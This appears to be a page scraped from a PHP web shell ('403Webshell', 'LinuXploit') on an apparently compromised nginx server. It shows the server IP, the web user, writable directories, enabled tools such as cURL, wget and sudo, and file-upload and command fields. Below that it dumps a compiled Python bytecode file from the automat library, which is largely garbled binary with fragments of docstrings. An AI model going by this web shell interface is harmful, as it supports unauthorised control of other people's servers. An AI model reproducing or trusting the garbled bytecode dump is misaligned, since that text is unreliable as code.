403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/automat/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/automat/__pycache__/_methodical.cpython-314.pyc
+
Q�i;D��ta�0t$^RIHt^RIt^RIt^RIHtHt^RIH	t	^RI
Ht^RI
Ht^RIHtHtHtHtHt]P*R,8d^RIHtM^RIHt^R	IHtHtHtHt^R
IHt]P>!R.R-O4t Rt!R
t"Rt#]!RR7!RR]$44t%RRlt&Rt'Rt(RRlt)Rt*]!R4t+]!R4t,]!RR7!RR]$44t-]!RR7!R R!]$44t.]]/.R3,t0R"t1R#]2R$&R%R&lt3]!RR7!R'R(]$44t4]!4t5R)t6!R*R+]$4t7R#).�)�annotationsN)�	dataclass�field��wraps)�getfullargspec)�count)�Any�Callable�Hashable�Iterable�TypeVar)�	TypeAlias)�	Automaton�OutputTracer�Tracer�Transitioner)�preserveName�ArgSpecc��\V4p\\VP4VPVP
VP'd
VPMR\VP4VP'd$\VPP44MR\VPP44R7#)z�
Normalize inspect.ArgSpec across python versions
and convert mutable attributes to immutable types.

:param Callable func: A function.
:return: The function's ArgSpec.
:rtype: ArgSpec
��args�varargs�varkw�defaults�
kwonlyargs�kwonlydefaultsr�)�getArgsSpecr�tuplerrrrrr�itemsr)�func�specs& �5/usr/lib/python3/dist-packages/automat/_methodical.py�_getArgSpecr%"s����t��D��
�4�9�9�
�����j�j�"&�-�-�-����R�����)�26�2E�2E�2E�E�$�%�%�+�+�-�.�2��$�*�*�0�0�2�3�
�
�c�X�\VPVP,VP'dRMR,VP'dRMR,\
;QJd(.RVP4FNK	5,4#!RVP44,4#)a�
Get the name of all arguments defined in a function signature.

The name of * and ** arguments is normalized to "*args" and "**kwargs".

Return type annotations are omitted, since we don't constrain input methods
to have the same return type as output methods, nor output methods to have
the same output type.

:param ArgSpec spec: A function to interrogate for a signature.
:return: The set of all argument names in `func`s signature.
:rtype: Set[str]
c3�D"�TFq^,R8wgKVx�K	R#5i)r�returnNr)�.0�as& r$�	<genexpr>�_getArgNames.<locals>.<genexpr>Ls���@�+�a��t�x�/?���+�s� �
 )z*argsr)z**kwargs)�setrrrrr r)r#s&r$�_getArgNamesr/9s�����	�	�
�/�/�	�����:�2�	/�!�J�J�J�=�B�	0��%�@�4�+�+�@�%�		A���
�@�4�+�+�@�
@�		A��r&c�0a�\S4V3Rl4pV#)z�
Decorate a function so all its arguments must be passed by keyword.

A useful utility for decorators that take arguments so that they don't
accidentally get passed the thing they're decorating as their first
argument.

Only works for methods right now.
c�<�S!V3/VB#�Nr)�self�kw�fs&,�r$�g�_keywords_only.<locals>.g[s�����}��}�r&r)r5r6sf r$�_keywords_onlyr8Ps"����1�X����
�Hr&T)�frozenc��]tRt^bt$Rt]!RR7tR]R&]!4tR]R&]!RR7t	R]R	&R
R
]
3RRlltR
RltRt
R
#)�MethodicalStatez%
A state for a L{MethodicalMachine}.
F��repr�MethodicalMachine�machine�Callable[..., Any]�method�bool�
serializedNc
�,�V^8�dQhRRRRRRRRR	R
/#)��input�MethodicalInput�enterzMethodicalState | None�outputsz!Iterable[MethodicalOutput] | None�	collectorzCallable[[Iterable[T]], object]r)�Noner)�formats"r$�__annotate__�MethodicalState.__annotate__lsC��.L�.L��.L�&�.L�3�	.L�
3�.L�
�
.Lr&c
���VfTpVf.p\VP4pVF�p\VP4pVPV4'dK1\RP	VP
PVP
P\VP
4\VP
4R74h	VPPWW#V4R#)a�
Declare a state transition within the L{MethodicalMachine} associated
with this L{MethodicalState}: upon the receipt of the `input`, enter
the `state`, emitting each output in `outputs`.

@param input: The input triggering a state transition.

@param enter: The resulting state.

@param outputs: The outputs to be triggered as a result of the declared
    state transition.

@param collector: The function to be used when collecting output return
    values.

@raises TypeError: if any of the `outputs` signatures do not match the
    `inputs` signature.

@raises ValueError: if the state transition from `self` via `input` has
    already been defined.
Nzdmethod {input} signature {inputSignature} does not match output {output} signature {outputSignature})rF�output�inputSignature�outputSignature)
r/�argSpec�issubset�	TypeErrorrLrA�__name__rr?�_oneTransition)r3rFrHrIrJ�	inputArgsrP�
outputArgss&&&&&   r$�upon�MethodicalState.uponls���8�=��E��?��G� ����/�	��F�%�f�n�n�5�J��&�&�y�1�1��2�28�&�#�l�l�3�3�%�}�}�5�5�'2�5�<�<�'@�(3�F�M�M�(B�	39�3�	�	��	
���#�#�D���Kr&c��V^8�dQhRR/#�rEr)�strr)rLs"r$rMrN����$�$�s�$r&c	�.�VPP#r2�rArV�r3s&r$�_name�MethodicalState._name�����{�{�#�#�#r&r)rV�
__module__�__qualname__�__firstlineno__�__doc__rr?�__annotations__rArC�listrZrc�__static_attributes__rr&r$r;r;bsQ���"'�E�!2�G�
�2�!&��F��(��%�(�J��(�
)-�59�59�.L�`$�$r&r;c�(�V^8�dQhRRRRRRRR/#)	rE�oself�object�symbolr^�	automaton�=Automaton[MethodicalState, MethodicalInput, MethodicalOutput]r)z@Transitioner[MethodicalState, MethodicalInput, MethodicalOutput]r)rLs"r$rMrM�s2��������M��F�	r&c�j�\WR4pVf#\VVP4p\WV4V#)z
Get a L{Transitioner}
N)�getattrr�initialState�setattr)rnrprq�transitioners&&& r$�_transitionerFromInstancerx�s>���5�$�/�L���#���"�"�
��	��|�,��r&c��R#r2rrr&r$�_emptyrz�s��r&c��R#)�	docstringNrrr&r$�
_docstringr}�s�r&c� �V^8�dQhRRRR/#)rEr5r@r)rKr)rLs"r$rMrM�s��
8�
8�&�
8�4�
8r&c��VPP\PP\PP39d\	R4hR#)zfunction body must be emptyN)�__code__�co_coderzr}�
ValueError)r5s&r$�assertNoCoder��sC��	�z�z���&�/�/�"9�"9�:�;N�;N�;V�;V�!W�W��6�7�7�Xr&c��\\VPR,V44pVP'dTpM'VUUu.uFwrgWcP9gKVNK	ppp\V4pVFwr�W�V
3,
pK	\VPRRR1,VPRRR1,4pVUUu/uFwrgWh9gK
WgbK	pppVPV4VP'dTp
W]3#VPR,VP,pVP4UUu/uFwrgWn9gK
WgbK	p
ppW]3#uuppiuuppiuuppi)af
Filter out arguments that were passed to input that output won't accept.

:param tuple args: The *args that input received.
:param dict kwargs: The **kwargs that input received.
:param ArgSpec inputSpec: The input's arg spec.
:param ArgSpec outputSpec: The output's arg spec.
:return: The args and kwargs that output will accept.
:rtype: Tuple[tuple, dict]
:�NNN���)	r �ziprrr�updaterrr!)r�kwargs�	inputSpec�
outputSpec�
named_args�return_args�n�v�passed_arg_names�name�valuer�full_kwargs�
return_kwargs�all_accepted_namess&&&&           r$�_filterArgsr��sQ���s�9�>�>�"�-�t�4�5�J�������&0�H�Z�T�Q�1���3G�q�q�Z��H��V�}��!����5�M�)��"��9�>�>�$�B�$�'��);�);�D�b�D�)A�B�H�$,�J�H�D�A��0I�4�1�4�H�K�J����v������#�
��%�%�(�_�_�R�0�:�3H�3H�H��(�.�.�0�
�0�T�Q�A�4K�D�A�D�0�	�
��%�%��)I��K��
s$�E�E�<
E�E�3
E�E�T�RF)�eqc���]tRt^�t$Rt]!RR7tR]R&]!4tR]R&]!RR7t	R]R	&]!]
RR
7tR]R&]!RRR
7tR]R&RRlt
RRRlltRRltRtR#)rGz&
An input for a L{MethodicalMachine}.
Fr<rrrqr@rAr^rp)�default_factoryr=z1dict[MethodicalState, Callable[[Iterable[T]], R]]�
collectors)�initr=rrSc��V^8�dQhRR/#�rEr)rKr)rLs"r$rM�MethodicalInput.__annotate__s��"�"�t�"r&c	�d�\VP4Vn\VP4R#r2)r%rArSr�rbs&r$�
__post_init__�MethodicalInput.__post_init__s��"�4�;�;�/����T�[�[�!r&Nc�$�V^8�dQhRRRRRR/#)rErnro�typerKr)r)rLs"r$rMr�s!����V��4��6�r&c
��aaa�\SSPSP4o\SP4\SP4RVVV3Rll44pV#)z�
Return a function that takes no arguments and returns values returned
by output functions produced by the given L{MethodicalInput} in
C{oself}'s current state.
c�$�V^8�dQhRRRRRR/#)rError�r)r)rLs"r$rM�-MethodicalInput.__get__.<locals>.__annotate__s!��	%�	%�6�	%�V�	%��	%r&c�R<�SP!S.VO5/VBS
PpS
PS4wr4SPV,p.pVFOpVe	V!V4\	WSP
VP
4wr�V!S.VO5/V	Bp
VP
V
4KQ	V!V4#r2)rA�_state�
transitionr�r�rS�append)rr��
previousStaterI�	outTracerrJ�valuesrPr+�kr�rnr3rws*,         ���r$�doInput�(MethodicalInput.__get__.<locals>.doInputs����
�K�K��/��/��/�(�/�/�M�#/�#:�#:�4�#@� �W����
�6�I��F�!���(��f�%�"�4����v�~�~�N����u�.�q�.�A�.���
�
�e�$�"��V�$�$r&)rxrprqrrAr)r3rnr�r�rwsff& @r$�__get__�MethodicalInput.__get__sS���1�����T�^�^�T��	�d�k�k�	"�	�t�{�{�	�	%�	%�
�
#�	%��r&c��V^8�dQhRR/#r]r)rLs"r$rMr�&r_r&c	�.�VPP#r2rarbs&r$rc�MethodicalInput._name&rer&)rSr2)rVrfrgrhrirrqrjrArp�dictr�rSr�r�rcrlrr&r$rGrG�s~���PU�
�P�I�L��"'��F��(��U�#�F�C�#�DI��5�E�J�A���%�e�4�G�W�4�"��4$�$r&rGc��]tRtRt$Rt]!RR7tR]R&R]R&]!RRRR	7tR
]R&RR
lt	RRlt
RtRRltRt
R#)�MethodicalOutputi*z'
An output for a L{MethodicalMachine}.
Fr<r>r?r@rA)r�r=�comparerrSc��V^8�dQhRR/#r�r)rLs"r$rM�MethodicalOutput.__annotate__4s��<�<�t�<r&c	�J�\VP4VPR&R#)rSN)r%rA�__dict__rbs&r$r��MethodicalOutput.__post_init__4s��#.�t�{�{�#;��
�
�i� r&Nc
�v�\RPVPVPPR74h)zH
Outputs are private, so raise an exception when we attempt to get one.
zf{cls}.{method} is a state-machine output method; to produce this output, call an input method instead.)�clsrA)�AttributeErrorrLrVrA�r3rnr�s&&&r$r��MethodicalOutput.__get__7s<���
D�DJ�F��M�M�$�+�+�*>�*>�EK�E�
�	
r&c
�.�VP!V.VO5/VB#)z
Call the underlying method.
)rA)r3rnrr�s&&*,r$�__call__�MethodicalOutput.__call__Bs���{�{�5�2�4�2�6�2�2r&c��V^8�dQhRR/#r]r)rLs"r$rMr�Hr_r&c	�.�VPP#r2rarbs&r$rc�MethodicalOutput._nameHrer&rr2)rVrfrgrhrirr?rjrSr�r�r�rcrlrr&r$r�r�*sK���"'�E�!2�G�
�2����%�e�U�C�G�W�C�<�	
�3�$�$r&r�z4Callable[[str, str, str], StringOutputTracer | None]r�StringTracerc� �V^8�dQhRRRR/#)rE�wrapped�StringTracer | Noner)zATracer[MethodicalState, MethodicalInput, MethodicalOutput] | Noner)rLs"r$rMrMPs����
 ��F�r&c�&a�SfR#RV3RllpV#)Nc�(�V^8�dQhRRRRRRRR/#)rE�stater;rFrGrPr)z%OutputTracer[MethodicalOutput] | Noner)rLs"r$rM� wrapTracer.<locals>.__annotate__Vs0�������� ��
/�	r&c�<a�S!VP4VP4VP44oSeV3Rl#R#)Nc�0<�S!VP44#r2�rc)�out�results&�r$�<lambda>�,wrapTracer.<locals>.tracer.<locals>.<lambda>]s���v�c�i�i�k�2r&r�)r�rFrPr�r�s&&&@�r$�tracer�wrapTracer.<locals>.tracerVs4���
��������
�v�|�|�~�F����2�2�r&r)r�r�sf r$�
wrapTracerr�Ps���������Mr&c�`�]tRtRt$]!RR7tR]R&]!RR7tR]R&RR	R
lltRt	R#)
�MethodicalTracericFr<rrrqr^rpNc�$�V^8�dQhRRRRRR/#)rErnror�r)zCallable[[StringTracer], None]r)rLs"r$rM�MethodicalTracer.__annotate__js$������#)��	'�r&c	�Za�\WPVP4oRV3RllpV#)c� �V^8�dQhRRRR/#)rEr�r�r)rKr)rLs"r$rM�.MethodicalTracer.__get__.<locals>.__annotate__os��	6�	6�0�	6�T�	6r&c�<<�SP\V44R#r2)�setTracer�)r�rws&�r$r��*MethodicalTracer.__get__.<locals>.setTraceos����!�!�*�V�"4�5r&)rxrprq)r3rnr�r�rws&&& @r$r��MethodicalTracer.__get__js*���1����T�^�^�T��	6�	6��r&rr2)
rVrfrgrhrrqrjrpr�rlrr&r$r�r�cs3��OT�
�P�I�L���U�#�F�C�#��r&r�c�@�R\\\44,#)z$
Create a unique Python identifier.
�_symbol_)r^�next�counterrr&r$�gensymr�xs����D��M�*�*�*r&c��]tRtRtRtRtRRlt]RRRll4t]R4t	]R	4t
R
t]R4t]R4t
]R
Rl4tRtRtR#)r>izY
A L{MethodicalMachine} is an interface to an L{Automaton} that uses methods
on a class.
c	�P�\4Vn/Vn\4VnR#r2)r�
_automaton�	_reducersr��_symbolrbs&r$�__init__�MethodicalMachine.__init__�s��#�+�������x��r&Nc
�$�Ve\R4hV#)z�
L{MethodicalMachine} is an implementation detail for setting up
class-level state; applications should never need to access it on an
instance.
z.MethodicalMachine is an implementation detail.)r�r�s&&&r$r��MethodicalMachine.__get__�s���� �!Q�R�R��r&c�$�V^8�dQhRRRRRR/#)rE�initialrB�terminalrCrr)rLs"r$rM�MethodicalMachine.__annotate__�s$������/3��IQ�r&c
�aaa�VVV3RlpV#)a�
Declare a state, possibly an initial state or a terminal state.

This is a decorator for methods, but it will modify the method so as
not to be callable any more.

@param initial: is this state the initial state?  Only one state on
    this L{automat.MethodicalMachine} may be an initial state; more
    than one is an error.

@param terminal: Is this state a terminal state?  i.e. a state that the
    machine can end up in?  (This is purely informational at this
    point.)

@param serialized: a serializable value to be used to represent this
    state to external systems.  This value should be hashable; L{str}
    is a good type to use.
c�V<�\SVSR7pS'dVSPnV#))r?rArC)r;r�ru)�stateMethodr�r�r3rCs& ���r$�	decorator�*MethodicalMachine.state.<locals>.decorator�s*���#��[�Z��E��/4����,��Lr&r)r3r�r�rCr�sff&f r$r��MethodicalMachine.state�s���.	��r&c
�a�V3RlpV#)z5
Declare an input.

This is a decorator for methods.
c�H<�\SPVSPR7#))rqrArp)rGr�r�)�inputMethodr3s&�r$r��*MethodicalMachine.input.<locals>.decorator�s���"��/�/�+�d�l�l��
r&r�r3r�sf r$rF�MethodicalMachine.input�s���	�
�r&c
�a�V3RlpV#)z�
Declare an output.

This is a decorator for methods.

This method will be called when the state machine transitions to this
state as specified in the decorated `output` method.
c�<�\SVR7#))r?rA)r�)�outputMethodr3s&�r$r��+MethodicalMachine.output.<locals>.decorator�s���#�D��F�Fr&rrsf r$rP�MethodicalMachine.output�s���	G��r&c
�n�VPPWV\V44WRPV&R#)z
See L{MethodicalState.upon}.
N)r��
addTransitionr r�)r3�
startState�
inputToken�endState�outputTokensrJs&&&&&&r$rW� MethodicalMachine._oneTransition�s2��$	
���%�%��H�e�L�.A�	
�-6���j�)r&c
�a�V3RlpV#)�c�4<a�\S4VV3Rl4pV#)c�~<�\VSPSP4pS!WPP4#r2)rxr�r�r�rC)rnrw�	decorateer3s& ��r$�	serialize�BMethodicalMachine.serializer.<locals>.decorator.<locals>.serialize�s5���8��4�<�<���� ��!��(;�(;�(F�(F�G�Gr&r)rrr3sf �r$r��/MethodicalMachine.serializer.<locals>.decorator�s$���
�9�
�
H��
H��r&rrsf r$�
serializer�MethodicalMachine.serializer�s���	��r&c
�a�V3RlpV#)rc�4<a�\S4VV3Rl4pV#)c��<�S!V.VO5/VBp/pSPP4FpWTVP&K	\VSPSP4pWC,VnR#r2)r��statesrCrxr�r�)	rnrr�r��mapping�	eachStaterwrr3s	&*,    ��r$�unserialize�FMethodicalMachine.unserializer.<locals>.decorator.<locals>.unserializesi���!�%�9�$�9�&�9����!%���!7�!7�!9�I�4=�I�0�0�1�":�8��4�<�<���� ��'.�n��#�r&r)rr#r3sf �r$r��1MethodicalMachine.unserializer.<locals>.decorator�s"���
�9�
�	
��	
��r&rrsf r$�unserializer�MethodicalMachine.unserializer�s���
	��r&c��V^8�dQhRR/#)rEr)r�r)rLs"r$rMr�s��?�?�+�?r&c	�B�\VPVP4#r2)r�r�r�rbs&r$�	_setTrace�MethodicalMachine._setTraces���������>�>r&c
�@�^RIHpV!VPRRRR7#)z�
Generate a L{graphviz.Digraph} that represents this machine's
states and transitions.

@return: L{graphviz.Digraph} object; for more information, please
    see the documentation for
    U{graphviz<https://graphviz.readthedocs.io/>}

)�makeDigraphc�.�VPP#r2ra)r�s&r$r��-MethodicalMachine.asDigraph.<locals>.<lambda>"������(=�(=r&c�.�VPP#r2ra)rFs&r$r�r/#r0r&c�.�VPP#r2ra)rPs&r$r�r/$s��&�-�-�*@�*@r&)�
stateAsString�
inputAsString�outputAsString)�
_visualizer-r�)r3r-s& r$�	asDigraph�MethodicalMachine.asDigraphs$��	,���O�O�=�=�@�	
�	
r&)r�r�r�r2)FFN)rVrfrgrhrir�r�r8r�rFrPrWrr&�propertyr*r7rlrr&r$r>r>s����
 �
�����@�����
��
�6�.�
��
�����(�?��?�
r&r>)��
r)8�__conditional_annotations__�
__future__r�collections�sys�dataclassesrr�	functoolsr�inspectrr�	itertoolsr	�typingr
rrr
r�version_info�typing_extensionsr�_corerrrr�_introspectionr�
namedtuplerr%r/r8ror;rxrzr}r�r�r�r�rGr�r^�StringOutputTracerr�rjr�r�r�r�r>)r<s@r$�<module>rKsW���"�"��
�(��1��=�=����g��+� �@�@�(�
�
 �
 �
�����.�.
�$�$��:$�f�:$��:$�z�$	��
8� &&�R�C�L���C�L���e��/$�f�/$��/$�d�$��$�v�$��$�B�s�e�T�k�*��P��i�P��&�e���v����"�'��+�f
��f
r&

Youez - 2016 - github.com/yon3zu
LinuXploit